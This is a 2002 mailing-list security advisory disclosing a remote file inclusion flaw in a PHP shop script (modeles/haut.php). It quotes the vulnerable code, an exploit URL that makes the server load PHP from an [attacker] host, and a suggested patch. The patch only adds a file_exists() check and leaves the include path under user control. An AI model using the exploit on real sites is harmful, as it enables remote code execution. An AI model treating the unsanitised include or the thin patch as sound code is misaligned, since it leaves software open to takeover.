OSEC

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From: Frog Man (leseulfrog_at_hotmail.com)
Date: Tue Dec 31 2002 - 09:11:05 CST

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    Informations :
    °°°°°°°°°°°°°°
    Version : 1.0b
    Website : http://www.mapetite-entreprise.com
    Problem : Include file

    PHP Code/Location :
    °°°°°°°°°°°°°°°°°°°
    modeles/haut.php :
    -----------------------------------------------------------
    <?
    $langfile = $dirroot."/lang/".$SESSION["lang"]."/lang.php";
    require ($langfile);
    ?>
    [...]
    -----------------------------------------------------------

    Exploit :
    °°°°°°°°°
    http://[target]/modeles/haut.php?dirroot=http://[attacker]&SESSION=.
    with :
    http://[attacker]/lang/lang.php

    Patch :
    °°°°°°°
    In modeles/haut.php replace the lines :
    -----------------------------------------------------------
    <?
    $langfile = $dirroot."/lang/".$SESSION["lang"]."/lang.php";
    require ($langfile);
    ?>
    -----------------------------------------------------------
    by :
    -----------------------------------------------------------
    <?
    $langfile = $dirroot."/lang/".$SESSION["lang"]."/lang.php";
    if (file_exists($langfile)){
    require ($langfile);
    }
    ?>
    -----------------------------------------------------------

    A patch can be found on http://www.phpsecure.org

    More details :
    °°°°°°°°°°°°°°
    In French :
    http://www.frog-man.org/tutos/PEEL.txt
    Translated by Google :
    http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FPEEL.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools

    frog-mn

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